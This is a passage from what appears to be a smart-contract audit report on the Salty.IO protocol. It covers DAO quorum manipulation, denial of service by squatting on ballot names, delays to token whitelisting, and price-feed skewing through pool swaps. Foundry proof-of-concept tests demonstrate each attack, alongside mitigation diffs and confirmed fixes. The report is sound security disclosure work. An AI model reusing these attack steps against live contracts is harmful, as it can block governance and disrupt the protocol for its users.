Copy below codes to Proposals.t.sol and run COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url RPC_URL --match-test testCanFinalizeBallotByUnstaking
function testCanFinalizeBallotByUnstaking() public {
uint256 initialStake = 10000000 ether;
vm.prank(DEPLOYER);
staking.stakeSALT( initialStake );
vm.startPrank(alice);
staking.stakeSALT(1110111 ether);
uint256 ballotID = proposals.proposeParameterBallot(2, "description" );
proposals.castVote(ballotID, Vote.INCREASE);
vm.stopPrank();
vm.warp(block.timestamp + daoConfig.ballotMinimumDuration() + 1); // ballot end time reached
// Reach quorum
vm.startPrank(alice);
//@audit-info before unstaking, the ballot can not be finalized
bool canFinalizeBeforeUnstaking = proposals.canFinalizeBallot(ballotID);
assertEq(canFinalizeBeforeUnstaking, false);
//@audit-info alice unstake SALT
staking.unstake(1110111 ether, 52);
//@audit-info after unstaking, the ballot can be finalized now.
bool canFinalizeAfterUnstaking = proposals.canFinalizeBallot(ballotID);
assertEq(canFinalizeAfterUnstaking, true);
vm.stopPrank();
}
From above codes we can see, the ballot can be finalized after Alice unstakes all her xSALT.
Recommended Mitigation Steps
There are several ways to fix this problem. The simplest one is calculating and storing the required quorum when the proposal is created. Once the required quorum is fixed, no one can change it by unstaking their xSALT:
struct Ballot
{
uint256 ballotID;
bool ballotIsLive;
BallotType ballotType;
string ballotName;
address address1;
uint256 number1;
string string1;
string description;
// The earliest timestamp at which a ballot can end. Can be open longer if the quorum has not yet been reached for instance.
uint256 ballotMinimumEndTime;
+ uint256 requiredQuorum;
}
function _possiblyCreateProposal( string memory ballotName, BallotType ballotType, address address1, uint256 number1, string memory string1, string memory string2 ) internal returns (uint256 ballotID)
{
require( block.timestamp >= firstPossibleProposalTimestamp, "Cannot propose ballots within the first 45 days of deployment" );
// The DAO can create confirmation proposals which won't have the below requirements
if ( msg.sender != address(exchangeConfig.dao() ) )
{
// Make sure that the sender has the minimum amount of xSALT required to make the proposal
uint256 totalStaked = staking.totalShares(PoolUtils.STAKED_SALT);
uint256 requiredXSalt = ( totalStaked * daoConfig.requiredProposalPercentStakeTimes1000() ) / ( 100 * 1000 );
require( requiredXSalt > 0, "requiredXSalt cannot be zero" );
uint256 userXSalt = staking.userShareForPool( msg.sender, PoolUtils.STAKED_SALT );
require( userXSalt >= requiredXSalt, "Sender does not have enough xSALT to make the proposal" );
// Make sure that the user doesn't already have an active proposal
require( ! _userHasActiveProposal[msg.sender], "Users can only have one active proposal at a time" );
}
// Make sure that a proposal of the same name is not already open for the ballot
require( openBallotsByName[ballotName] == 0, "Cannot create a proposal similar to a ballot that is still open" );
require( openBallotsByName[ string.concat(ballotName, "_confirm")] == 0, "Cannot create a proposal for a ballot with a secondary confirmation" );
uint256 ballotMinimumEndTime = block.timestamp + daoConfig.ballotMinimumDuration();
// Add the new Ballot to storage
ballotID = nextBallotID++;
- ballots[ballotID] = Ballot( ballotID, true, ballotType, ballotName, address1, number1, string1, string2, ballotMinimumEndTime );
+ uint requiredQuorum = requiredQuorumForBallotType(ballotType);
+ ballots[ballotID] = Ballot( ballotID, true, ballotType, ballotName, address1, number1, string1, string2, ballotMinimumEndTime, requiredQuorum );
openBallotsByName[ballotName] = ballotID;
_allOpenBallots.add( ballotID );
// Remember that the user made a proposal
_userHasActiveProposal[msg.sender] = true;
_usersThatProposedBallots[ballotID] = msg.sender;
emit ProposalCreated(ballotID, ballotType, ballotName);
}
function canFinalizeBallot( uint256 ballotID ) external view returns (bool)
{
Ballot memory ballot = ballots[ballotID];
if ( ! ballot.ballotIsLive )
return false;
// Check that the minimum duration has passed
if (block.timestamp < ballot.ballotMinimumEndTime )
return false;
// Check that the required quorum has been reached
+ if ( totalVotesCastForBallot(ballotID) < requiredQuorumForBallotType( ballot.ballotType ))
- if ( totalVotesCastForBallot(ballotID) < ballot.requiredQuorum)
return false;
return true;
}
This shows how without economic penalty, the actual quorum can be
quorum / (1 + quorum)
if all voters collude to do this.
othernet-global (Salty.IO) confirmed and commented:
Ballots now keep track of their own requiredQuorum at the time they were created.
https://github.com/othernet-global/salty-io/commit/c46069644739885fa36e84e27e1dd6362b854663
Status: Mitigation confirmed. Full details in reports from Reports from zzebra83, 0xpiken, and t0x1c.
[M-12] DOS of proposals by abusing ballot names without important parameters
Submitted by juancito, also found by 0xRobocop, pina, DanielArmstrong, zhaojie, 0xCiphky, erosjohn, PENGUN, twcctop, haxatron, J4X, klau5, 0xWaitress, and lanrebayode77
An adversary can prevent legit proposals from being created by using the same ballot name.
Proposals with the same name can’t be created, leading to a DOS for some days until the voting phase ends. This can be done repeatedly, after finalizing the previous malicious proposal and creating a new one.
Impacts for each proposal function:
proposeSendSALT()
: DOS of all proposalsproposeSetContractAddress()
: DOS of specific contract setting by proposing a malicious addressproposeCallContract()
: DOS of specific contract call by providing a wrong numberproposeTokenWhitelisting()
: DOS of token whitelisting by providing a faketokenIconURL
- All: Prevent the creation of any legit proposal, by providing a fake/malicious
description
to discourage positive voting
Note: This Impact fits into the Attack Ideas: “Any issue that would prevent the DAO from functioning correctly.”
Vulnerability Details
The main issue is that ballots with the same name revert, and the name doesn’t contain all the important parameters to create the proposal:
// Make sure that a proposal of the same name is not already open for the ballot
require( openBallotsByName[ballotName] == 0, "Cannot create a proposal similar to a ballot that is still open" );
proposeSendSALT()
Vulnerability Details
Let’s see for example the “Send SALT” proposal. It always has the same name sendSALT
. Despite this appears to be an expected behaviour, it can be exploited by an adversary.
The minimum ballot duration is 3 days, with a default value of 10 days. Given that ballots can’t be finalized before that, an adversary can consistently create malicious proposals to send themselves the SALT token. The proposal will enter the voting period for some days, and when the phase ends, the adversary can finalize it, and immediately create the same proposal.
This will prevent any other legit “Send SALT” proposal from being created.
There are no mechanisms to remove these malicious proposals, or to prevent malicious actors from creating them, nor removing their stake. The cost for the adversary is meaningless, as it requires to execute a tx every few days, and they can still claim rewards from the staked assets needed for the proposals.
proposeSetContractAddress()
Vulnerability Details
Only the contractName
is considered for the ballot name, but not the newAddress
.
This means that an attack can be performed to consistently create proposals for a specific contract with a malicious address. This prevents updating the price feeds and the access manager.
proposeCallContract()
Vulnerability Details
Only the contractName
is considered for the ballot name, but not the number
with which it will be called.
Same as with the previous attack, an adversary can target a specific contract, and consistently create proposals with a wrong calling number
.
proposeTokenWhitelisting()
Vulnerability Details
The tokenIconURL
is missing in the ballot name, so whitelisting proposals can be maliciously created for a specific token with a wrong token icon.
description()
Vulnerability Details
No proposal includes the description
(or its hash) in its ballot name. So an adversary can prevent the creation of the legit proposal, by frontrunning it for example, and change the description to something that users would not vote for.
Proof of Concept
This test for proposeSendSALT()
already shows how a new proposal can’t be created when there is an existing one. An adversary can exploit that as explained on the Vulnerability Details
section. That test could be extended to all the other mentioned functions with their corresponding impacts.
Recommended Mitigation Steps
In order to prevent the DOS, ballot names (or some new id variable) should include ALL the attributes of the proposal: ballotType
, address1
, number1
, string1
, and string2
. Strings could be hashed, and the whole pack could be hashed as well.
So, if an adversary creates the proposal, it would look exactly the same as the legit one.
In the particular case of proposeSendSALT()
, strictly preventing simultaneous proposals as they are right now will lead to the explained DOS. Some other mechanism should be implemented to mitigate risks. One way could be to set a long enough cooldown for each user, so that they can’t repeatedly send these type of proposals (take into account unstake time).
othernet-global (Salty.IO) confirmed and commented:
ballotNames now include all provided proposal arguments.
https://github.com/othernet-global/salty-io/commit/39921b4a25041c7ac4e9b5279e12bb2ec518140b
Flagging as duplicate of #621 all issues about the fact that identifying proposals by names that are not sender-specific and do not include all arguments opens the door to being front-run and could lead to a DoS. Not all reports found all the different cases where this could happen but I gave full credit to the one where the impact was Medium.
Status: Mitigated with an Error. Full details in report from t0x1c, and also included in the Mitigation Review section below.
[M-13] Adversary can prevent updating price feed addresses by creating poisonous proposals ending in _confirm
Submitted by juancito, also found by falconhoof, gkrastenov, memforvik, 0xAsen, jasonxiale, 0x3b, 0xpiken, Ward, Limbooo, israeladelaja, 0xPluto, t0x1c, a3yip6, PENGUN, haxatron, miaowu, Myrault, b0g0, linmiaomiao, nonseodion, 0xAlix2 (1, 2), and y4y
An adversary can prevent the creation of setContract
and websiteUpdate
proposals by creating a poisonous proposal with the same ballot name + _confirm
. This attack can be performed repeatedly every few days (when the voting period ends).
Affected proposals:
setContract:priceFeed1
->setContract:priceFeed1_confirm
setContract:priceFeed2
->setContract:priceFeed2_confirm
setContract:priceFeed3
->setContract:priceFeed3_confirm
setContract:accessManager
->setContract:accessManager_confirm
setURL:{{newWebsiteURL}}
->setURL:{{newWebsiteURL}}_confirm
This is especially worrisome for the setContract
proposals, as it prevents changing the price feed contracts, which are used for USDS borrowing and liquidations.
Note: This Impact fits into the Attack Ideas: “Any issue that would prevent the DAO from functioning correctly.”
Vulnerability Details
setContract
and websiteUpdate
proposals are executed in multiple steps.
Here’s the process for changing the Price Feed 1, as an example:
- A new proposal is created with a ballot name
setContract:priceFeed1
- The proposal is voted, and when it wins, a confirmation proposal is created, appending
_confirm
to the ballot name, resulting insetContract:priceFeed1_confirm
. - When the confirmation proposal wins, it checks its ballot name and then it sets the new price feed.
The problem is that there is a check in _possiblyCreateProposal()
that can be exploited:
require( openBallotsByName[ string.concat(ballotName, "_confirm")] == 0, "Cannot create a proposal for a ballot with a secondary confirmation" );
This check is intended to prevent creating new proposals if there is a pending confirmation proposal being voted for the same change, but an adversary can use it to create a proposal with a ballot name setContract:priceFeed1_confirm
, by setting priceFeed1_confirm
as the contract name.
If someone tries to create a legit priceFeed1
proposal later, it will revert
, leading to a DOS.
This holds for all proposals mentioned in the Impact
section.
Proof of Concept
- Add the test to
src/dao/tests/Proposals.t.sol
- Run
COVERAGE="no" NETWORK="sep" forge test -vv --rpc-url https://1rpc.io/sepolia --mt "testProposeSetContractAddress_confirm"
function testProposeSetContractAddress_confirm() public {
uint256 initialNextBallotId = proposals.nextBallotID();
// Alice is the adversary
vm.startPrank(alice);
staking.stakeSALT(1000 ether);
// Create a poisonous proposal with a ballot name ending in `_confirm`
address newAddress = address(0x1111111111111111111111111111111111111112);
proposals.proposeSetContractAddress("priceFeed1_confirm", newAddress, "description");
assertEq(proposals.nextBallotID(), initialNextBallotId + 1); // proposal was created successfully
vm.stopPrank();
// Transfer some tokens to Bob who wants to create a legit proposal
vm.startPrank(DEPLOYER);
salt.transfer(bob, 1000 ether);
vm.stopPrank();
// Bob can't create a legit proposal to change the contract address of `priceFeed1`
vm.startPrank(bob);
staking.stakeSALT(1000 ether);
vm.expectRevert("Cannot create a proposal for a ballot with a secondary confirmation");
proposals.proposeSetContractAddress("priceFeed1", newAddress, "description");
}
Recommended Mitigation Steps
Given the current implementation, the most straightforward fix would be to prevent the creation of proposals with ballot names ending in _confirm
for proposals that need a confirmation.
This would mean checking the contractName
in proposeSetContractAddress()
, and the newWebsiteURL
in proposeWebsiteUpdate()
.
But, as a recommendation, I would suggest refactoring createConfirmationProposal()
to pass a “confirmation” parameter to _possiblyCreateProposal()
, so that confirmation proposals don’t rely on the ballot name.
othernet-global (Salty.IO) confirmed and commented:
confirm_ is now prepended to automatic confirmation ballots form setWebsiteURL and setContract proposals.
https://github.com/othernet-global/salty-io/commit/5aa1bc1ddadd67cd875de932633948af25ff8957
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed: https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Here assets are not at direct risk but a “function of the protocol or its availability could be impacted”
Note: For full discussion, see here.
Status: Mitigation confirmed. Full details in reports from 0xpiken, zzebra83, and t0x1c.
[M-14] Ballots not yet past their deadline are incorrectly looped too by tokenWhitelistingBallotWithTheMostVotes()
Submitted by t0x1c
Inside DAO.sol
, _finalizeTokenWhitelisting() before finalizing a token whitelisting proposal makes a check that it’s the ballot with most votes:
249 // Fail to whitelist for now if this isn't the whitelisting proposal with the most votes - can try again later.
250 uint256 bestWhitelistingBallotID = proposals.tokenWhitelistingBallotWithTheMostVotes();
251 require( bestWhitelistingBallotID == ballotID, "Only the token whitelisting ballot with the most votes can be finalized" );
The tokenWhitelistingBallotWithTheMostVotes() function however does not care if the other ballots being looped through are yet not past their deadline. This is an incorrect approach because a ballot which has more Yes
votes at this point of time may well turn into a rejected ballot by its deadline timestamp if additional No
votes are cast in coming days. Hence using its current state to deny whitelisting of a proposal past its deadline is unfair & only contributes to delaying the timelines, since this may happen again & again which would result in the protocol repeatedly pushing the finalization time further & further away into the future.
- Either only ballots past their deadline should be considered, OR
- Only compare ballots which were created within a few hours of each other
Explanation through an example scenario (also provided in the form of a coded PoC in the next section):
- Dan, Alice and Bob stake some salt. Dan =
2,400,000
, Alice =290,000
and Bob =310,000
- Hence, total staked salt =
6,000,000
- Alice floats ProposalA for token whitelisting with deadline timestamp
t_a
- Minimum quorum required is 20% of 6,000,000 =
600,000
- ProposalA receives votes :
YES = 310,000; NO = 290,000
. Quorum reached. - Just a day before
t_a
, Bob floats ProposalB for whitelisting with deadline timestampt_b
- ProposalB receives votes :
YES = 600,000; NO = 0
. Quorum reached. Also, ProposalB has moreYes
votes than ProposalA. - At timestamp
t_a
,finalizeBallot()
is called for ProposalA but it faces arevert
on L251 because ProposalB has greaterYes
votes - An hour before
t_b
, Dan casts hisNo
vote for ProposalB which results in :YES = 600,000; NO = 2,400,000
making it lose with overwhelming majority. - Note that instead of the above step, another possibility is that some of the current ‘Yes
voters change their vote to
No`. finalizeBallot()
can be called again for ProposalA and it would pass now given that no other proposal has been floated meanwhile which has accumulated more votes, else we could keep going through the above cycle once again.
This caused a delay of around 11 days in ProposalA’s finalization. This works as a good attack vector for a malicious staker who wishes to postpone someone’s else proposal but does not have enough voting power to defeat it. With some positive votes coming their way from unsuspecting stakers, they can mount this attack. Here’s how:
- Alice and Bob stake some salt. Alice =
290,000
and Bob =310,000
. Bob is the malicious actor here. - Remaining salt is staked by other normal users amounting to
2,400,000
- Hence, total staked salt =
6,000,000
- Alice floats ProposalA for token whitelisting with deadline timestamp
t_a
- Minimum quorum required is 20% of 6,000,000 =
600,000
- ProposalA receives votes :
YES = 315,000; NO = 310,000
. Quorum reached. Bob had votedNo
, but he could not overcome theYes
votes, getting beat by a small margin. - Bob attempts his attack. A few days before
t_a
, Bob floats ProposalB for whitelisting with deadline timestampt_b
and votesYes
himself. - Some unsuspecting users don’t have anything against his proposal and choose to vote
Yes
. At timestampt_a
his vote tally turns out to beYES = 320,000; NO = 319,990
. In spite of being very close to losing the ballot, he still has moreYes
votes than ProposalA. - At timestamp
t_a
whenfinalizeBallot()
is called for ProposalA, it faces arevert
due to having lesser votes. Bob successfully delayed ProposalA’s finalization. - Bob was never really interested in whitelisting any token, so upon reaching close to his deadline
t_b
, he can choose to change his votes toNo
and let the proposal fail.
Proof of Concept
Add the following tests inside src/dao/tests/DAO.t.sol
and run via COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url https://rpc.ankr.com/eth_sepolia --mt test_tokenWhitelistingDelayed
to see the test pass:
function test_tokenWhitelistingDelayed() public
{
// *************** Setup steps ***************
deal(address(salt), address(DEPLOYER), 2_400_000 ether);
uint256 aliceStakedAmount = 290_000 ether;
uint256 bobStakedAmount = 310_000 ether;
deal(address(salt), address(alice), aliceStakedAmount);
deal(address(salt), address(bob), bobStakedAmount);
deal(address(salt), address(dao), 5000000 ether);
vm.prank(DEPLOYER);
staking.stakeSALT(2_400_000 ether);
vm.startPrank(bob);
salt.approve(address(staking), bobStakedAmount);
staking.stakeSALT(bobStakedAmount);
vm.stopPrank();
// *********************************************
// Alice stakes her SALT to get voting power
vm.startPrank(alice);
staking.stakeSALT(aliceStakedAmount);
// Propose a whitelisting ballot and cast vote
// Quorum required = 20% of (2_400_000 + 290_000 + 310_000) = 600_000
uint256 ballotID = 1;
IERC20 test = new TestERC20( "TEST", 18 );
proposals.proposeTokenWhitelisting(test, "url", "description");
proposals.castVote(ballotID, Vote.NO);
vm.stopPrank();
vm.prank(bob);
proposals.castVote(ballotID, Vote.YES); // @audit-info : ballot_1 quorum reached
// Increase block time to 1 hour before finalizing the ballot
skip(daoConfig.ballotMinimumDuration() - 1 hours);
// Bob proposes a whitelisting ballot and casts vote
vm.startPrank(bob);
IERC20 test2 = new TestERC20( "TEST2", 18 );
proposals.proposeTokenWhitelisting(test2, "url2", "description2");
proposals.castVote(ballotID + 1, Vote.YES);
vm.stopPrank();
vm.prank(alice);
proposals.castVote(ballotID + 1, Vote.YES); // @audit-info : ballot_2 quorum reached; All YES votes; deadline still in the future
// Increase block time to that of finalizing ballot_1
skip(1 hours);
// @audit : this would revert since Bob's ballot has more YES votes than Alice's
vm.expectRevert("Only the token whitelisting ballot with the most votes can be finalized");
dao.finalizeBallot(ballotID);
skip(daoConfig.ballotMinimumDuration() - 2 hours);
// more votes are cast for ballot_2
vm.prank(DEPLOYER);
proposals.castVote(ballotID + 1, Vote.NO); // @audit-info : ballot_2 now has NO > YES votes
// @audit : this would pass now
dao.finalizeBallot(ballotID);
// Check that the ballot is finalized
bool isBallotFinalized = !proposals.ballotForID(ballotID).ballotIsLive;
assertTrue(isBallotFinalized);
}
Tools used
Foundry
Recommended Mitigation Steps
- Either only ballots past their deadline should be considered, OR
- Only compare ballots which were created within a few hours of each other.
The following diff uses the first option:
// Returns the ballotID of the whitelisting ballot that currently has the most yes votes
// Requires that the quorum has been reached and that the number of yes votes is greater than the number no votes
function tokenWhitelistingBallotWithTheMostVotes() external view returns (uint256)
{
uint256 quorum = requiredQuorumForBallotType( BallotType.WHITELIST_TOKEN);
uint256 bestID = 0;
uint256 mostYes = 0;
for( uint256 i = 0; i < _openBallotsForTokenWhitelisting.length(); i++ )
{
uint256 ballotID = _openBallotsForTokenWhitelisting.at(i);
+ if (block.timestamp < ballots[ballotID].ballotMinimumEndTime)
+ continue;
uint256 yesTotal = _votesCastForBallot[ballotID][Vote.YES];
uint256 noTotal = _votesCastForBallot[ballotID][Vote.NO];
if ( (yesTotal + noTotal) >= quorum ) // Make sure that quorum has been reached
if ( yesTotal > noTotal ) // Make sure the token vote is favorable
if ( yesTotal > mostYes ) // Make sure these are the most yes votes seen
{
bestID = ballotID;
mostYes = yesTotal;
}
}
return bestID;
}
othernet-global (Salty.IO) confirmed and commented:
Removed maxPendingTokensForWhitelisting.
There is now no limit to the number of tokens that can be proposed for whitelisting.
Also, any whitelisting proposal that has reached quorum with sufficient approval votes can be executed.
Status: Mitigation confirmed. Full details in reports from 0xpiken, zzebra83, and t0x1c.
[M-15] Attacker can take advantage of Chainlink price not occuring within it’s 60 minute heartbeat to make PriceAggregator calls fail
Submitted by israeladelaja, also found by jasonxiale, VAD37, and PENGUN
https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/CoreChainlinkFeed.sol#L45
https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/CoreSaltyFeed.sol#L34
https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/CoreSaltyFeed.sol#L47
Salty.IO relies on three default price feeds to get the price of BTC and ETH for the price of the collateral backing USDS. In the CoreChainlinkFeed
contract, a price of 0 is returned when the Chainlink price update has not occurred within it’s 60 minute heartbeat. When this happens, the other two price feeds being the Uniswap V3 TWAP and the Salty.IO Reserves would provide the necessary price feed data. However, using the reserves of a liquidity pool directly for price data is dangerous as a user can skew the ratio of the tokens in the pool by simply swapping one for the other. This issue becomes more concerning when flash loans are involved, giving anyone a large amount of tokens temporarily to significantly skew the ratio of the pool. This means that when the Chainlink price update has not occurred within it’s 60 minute heartbeat, an attacker can skew the ratio of the Salty.IO Reserves and artificially change the price of BTC or ETH in their respective pools paired with USDS. This will inevitably make the PriceAggregator
contract revert when price data is needed (because there are two non zero price feeds and the difference between these prices is too large).
Proof of Concept
This is part of the CoreChainlinkFeed.latestChainlinkPrice()
function which returns the price of a token in a given Chainlink price feed:
try chainlinkFeed.latestRoundData()
returns (
uint80, // _roundID
int256 _price,
uint256, // _startedAt
uint256 _answerTimestamp,
uint80 // _answeredInRound
)
{
// Make sure that the Chainlink price update has occurred within its 60 minute heartbeat
// https://docs.chain.link/data-feeds#check-the-timestamp-of-the-latest-answer
uint256 answerDelay = block.timestamp - _answerTimestamp;
if ( answerDelay <= MAX_ANSWER_DELAY )
price = _price;
else
price = 0;
}
catch (bytes memory) // Catching any failure
{
// In case of failure, price will remain 0
}
These are both functions of the CoreSaltyFeed
contract which return the price of BTC and ETH based on the reserves of their respective pools paired with USDS:
// Returns zero for an invalid price
function getPriceBTC() external view returns (uint256)
{
(uint256 reservesWBTC, uint256 reservesUSDS) = pools.getPoolReserves(wbtc, usds); // @audit-issue Pool reserves can be skewed by someone with enough tokens. Maybe TWAP is better here
if ( ( reservesWBTC < PoolUtils.DUST ) || ( reservesUSDS < PoolUtils.DUST ) )
return 0;
// reservesWBTC has 8 decimals, keep the 18 decimals of reservesUSDS
// @audit-ok Math checks out
return ( reservesUSDS * 10**8 ) / reservesWBTC;
}
// Returns zero for an invalid price
function getPriceETH() external view returns (uint256)
{
(uint256 reservesWETH, uint256 reservesUSDS) = pools.getPoolReserves(weth, usds); // @audit-info Pool reserves can be skewed by someone with enough tokens. Maybe TWAP is better here. Same as above.
if ( ( reservesWETH < PoolUtils.DUST ) || ( reservesUSDS < PoolUtils.DUST ) )
return 0;
// @audit-ok Math checks out
return ( reservesUSDS * 10**18 ) / reservesWETH;
}
}
As can be seen, the CoreSaltyFeed
contract relies on the reserves of the WBTC/USDS and WETH/USDS pool. This is dangerous as the ratios of the pools can easily be skewed by an attacker with enough tokens.
Clone the github repo and run forge build
then paste the following test file in /src/scenario_tests/
and run forge test --mt test_exploitChainlinkLongHeartbeatPOC
:
POC Test File
// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.22;
import "../dev/Deployment.sol";
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../rewards/RewardsConfig.sol";
import "../staking/StakingConfig.sol";
import "../price_feed/tests/ForcedPriceFeed.sol";
import "../price_feed/CoreSaltyFeed.sol";
import "../price_feed/CoreChainlinkFeed.sol";
contract MockAccessManager {
function walletHasAccess(address wallet) external pure returns (bool) {
return wallet == wallet;
}
}
contract MockInitialDistribution {
address public bootstrapBallot;
constructor(address _bootstrapBallot) {
bootstrapBallot = _bootstrapBallot;
}
}
// Mock contract to imitate when chainlink price doesn't occur within its 60 minute heartbeat
contract MockAggregatorV3Interface {
function latestRoundData()
external
pure
returns (uint80, int256, uint256, uint256, uint80)
{
return (0, 0, 0, 0, 0);
}
}
contract ExploitChainlinkLongHeartbeatPOC is Test {
using SafeERC20 for ISalt;
using SafeERC20 for IERC20;
IExchangeConfig public exchangeConfig;
IBootstrapBallot public bootstrapBallot;
IAirdrop public airdrop;
IStaking public staking;
IDAO public dao;
ILiquidizer public liquidizer;
IPoolsConfig public poolsConfig;
IStakingConfig public stakingConfig;
IRewardsConfig public rewardsConfig;
IStableConfig public stableConfig;
ISaltRewards public saltRewards;
IPools public pools;
MockInitialDistribution public initialDistribution;
IRewardsEmitter public stakingRewardsEmitter;
IRewardsEmitter public liquidityRewardsEmitter;
IEmissions public emissions;
ISalt public salt;
IERC20 public dai;
USDS public usds;
IERC20 public wbtc;
IERC20 public weth;
CollateralAndLiquidity public collateralAndLiquidity;
MockAccessManager public accessManager;
IPriceFeed public priceFeed1;
IPriceFeed public priceFeed2;
IForcedPriceFeed public priceFeed3;
IPriceAggregator public priceAggregator;
IUpkeep public upkeep;
IDAOConfig public daoConfig;
function setUp() public {
vm.startPrank(address(1));
salt = new Salt();
dai = new TestERC20("DAI", 18);
weth = new TestERC20("WETH", 18);
wbtc = new TestERC20("WBTC", 8);
usds = new USDS();
rewardsConfig = new RewardsConfig();
poolsConfig = new PoolsConfig();
stakingConfig = new StakingConfig();
stableConfig = new StableConfig();
daoConfig = new DAOConfig();
exchangeConfig = new ExchangeConfig(
salt,
wbtc,
weth,
dai,
usds,
IManagedWallet(address(0))
);
stakingRewardsEmitter = new RewardsEmitter(
IStakingRewards(makeAddr("stakingRewards")),
exchangeConfig,
poolsConfig,
IRewardsConfig(address(0)),
false
);
liquidityRewardsEmitter = new RewardsEmitter(
IStakingRewards(makeAddr("stakingRewards")),
exchangeConfig,
poolsConfig,
IRewardsConfig(address(0)),
true
);
pools = new Pools(exchangeConfig, poolsConfig);
MockAggregatorV3Interface CHAINLINK_BTC_USD = new MockAggregatorV3Interface();
MockAggregatorV3Interface CHAINLINK_ETH_USD = new MockAggregatorV3Interface();
priceFeed1 = new CoreChainlinkFeed(
address(CHAINLINK_BTC_USD),
address(CHAINLINK_ETH_USD)
);
priceFeed2 = new CoreSaltyFeed(pools, exchangeConfig);
priceFeed3 = new ForcedPriceFeed(30000 ether, 3000 ether);
priceAggregator = new PriceAggregator();
priceAggregator.setInitialFeeds(
IPriceFeed(address(priceFeed1)),
IPriceFeed(address(priceFeed2)),
IPriceFeed(address(priceFeed3))
);
saltRewards = new SaltRewards(
stakingRewardsEmitter,
liquidityRewardsEmitter,
exchangeConfig,
rewardsConfig
);
initialDistribution = new MockInitialDistribution(
makeAddr("bootstrapBallot")
);
poolsConfig.whitelistPool(pools, salt, wbtc);
poolsConfig.whitelistPool(pools, salt, weth);
poolsConfig.whitelistPool(pools, salt, usds);
poolsConfig.whitelistPool(pools, wbtc, usds);
poolsConfig.whitelistPool(pools, weth, usds);
poolsConfig.whitelistPool(pools, wbtc, dai);
poolsConfig.whitelistPool(pools, weth, dai);
poolsConfig.whitelistPool(pools, usds, dai);
poolsConfig.whitelistPool(pools, wbtc, weth);
liquidizer = new Liquidizer(exchangeConfig, poolsConfig);
accessManager = new MockAccessManager();
exchangeConfig.setAccessManager(IAccessManager(address(accessManager)));
collateralAndLiquidity = new CollateralAndLiquidity(
pools,
exchangeConfig,
poolsConfig,
stakingConfig,
stableConfig,
priceAggregator,
liquidizer
);
usds.setCollateralAndLiquidity(collateralAndLiquidity);
dao = new DAO(
pools,
IProposals(address(0)),
exchangeConfig,
poolsConfig,
IStakingConfig(address(0)),
IRewardsConfig(address(0)),
IStableConfig(address(0)),
IDAOConfig(address(0)),
IPriceAggregator(address(0)),
liquidityRewardsEmitter,
ICollateralAndLiquidity(address(collateralAndLiquidity))
);
pools.setContracts(dao, collateralAndLiquidity);
liquidizer.setContracts(collateralAndLiquidity, pools, dao);
vm.stopPrank();
vm.startPrank(address(1));
upkeep = new Upkeep(
pools,
exchangeConfig,
poolsConfig,
daoConfig,
stableConfig,
priceAggregator,
saltRewards,
collateralAndLiquidity,
emissions,
dao
);
exchangeConfig.setContracts(
dao,
upkeep,
IInitialDistribution(address(initialDistribution)),
IAirdrop(address(0)),
VestingWallet(payable(address(0))),
VestingWallet(payable(address(0)))
);
vm.stopPrank();
vm.prank(makeAddr("bootstrapBallot"));
pools.startExchangeApproved();
vm.prank(address(collateralAndLiquidity));
usds.mintTo(address(1), 60_000 ether);
vm.startPrank(address(1));
wbtc.approve(address(collateralAndLiquidity), 1 * 10 ** 8);
weth.approve(address(collateralAndLiquidity), 100 * 10 ** 18);
usds.approve(address(collateralAndLiquidity), 60_000 ether);
collateralAndLiquidity.depositLiquidityAndIncreaseShare(
wbtc,
usds,
1 * 10 ** 8,
30_000 ether,
0,
block.timestamp,
false
);
collateralAndLiquidity.depositLiquidityAndIncreaseShare(
weth,
usds,
10 * 10 ** 18,
30_000 ether,
0,
block.timestamp,
false
);
vm.stopPrank();
}
function test_exploitChainlinkLongHeartbeatPOC() external {
address alice = makeAddr("alice");
// Initial price is fine as it is using uniswap v3 twap and salty pool as price feed
uint256 priceBTC = priceAggregator.getPriceBTC();
uint256 priceETH = priceAggregator.getPriceETH();
console.log(priceBTC);
console.log(priceETH);
vm.prank(address(1));
wbtc.safeTransfer(alice, 0.5 * 10 ** 8);
vm.startPrank(alice);
wbtc.approve(address(pools), 0.5 * 10 ** 8);
// Swapping WBTC to USDS skews the ratios in the pool making the price of WBTC differ from the uniswap v3 price therefore making the priceAggregator return 0 for the price of BTC
pools.depositSwapWithdraw(
wbtc,
usds,
0.5 * 10 ** 8,
0,
block.timestamp
);
vm.stopPrank();
vm.prank(address(1));
weth.safeTransfer(alice, 5 * 10 ** 18);
vm.startPrank(alice);
weth.approve(address(pools), 5 * 10 ** 18);
// Swapping WETH to USDS skews the ratios in the pool making the price of WETH differ from the uniswap v3 price therefore making the priceAggregator return 0 for the price of ETH
pools.depositSwapWithdraw(weth, usds, 5 * 10 ** 18, 0, block.timestamp);
vm.stopPrank();
// Getting price data now fails
vm.expectRevert();
priceAggregator.getPriceBTC();
vm.expectRevert();
priceAggregator.getPriceETH();
}
}
As can be seen, because the CoreChainlinkFeed
contract has returned a price of 0, the PriceAggregator
contract is left to rely on the other two price feeds, including the Salty.IO Reserves. However, an attacker can make calls for price data to PriceAggregator
fail by skewing the ratios of the WBTC/USDS and WETH/USDS pool, making the prices of the two price feeds deviate from each other above the allowed threshold.
Recommended Mitigation Steps
A TWAP for the Salty.IO Reserves would be recommended to smooth off any significant price movement and decrease the chance of there being a significant deviation from the real world price.
Picodes (Judge) decreased severity to Medium and commented:
Medium severity is appropriate as a protocol’s functionality is broken but the reports doesn’t show how to extract funds using this.
othernet-global (Salty.IO) confirmed and commented:
Chainlink timeout now set to 65 minutes:
https://github.com/othernet-global/salty-io/commit/f9a830c61e77a22722a8e674a8affabe2a0cf04a
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed: https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Status: Mitigation confirmed. Full details in reports from t0x1c, zzebra83, and 0xpiken.
[M-16] Suboptimal arbitrage implementation
Submitted by fnanni, also found by t0x1c
The bestArbAmountIn
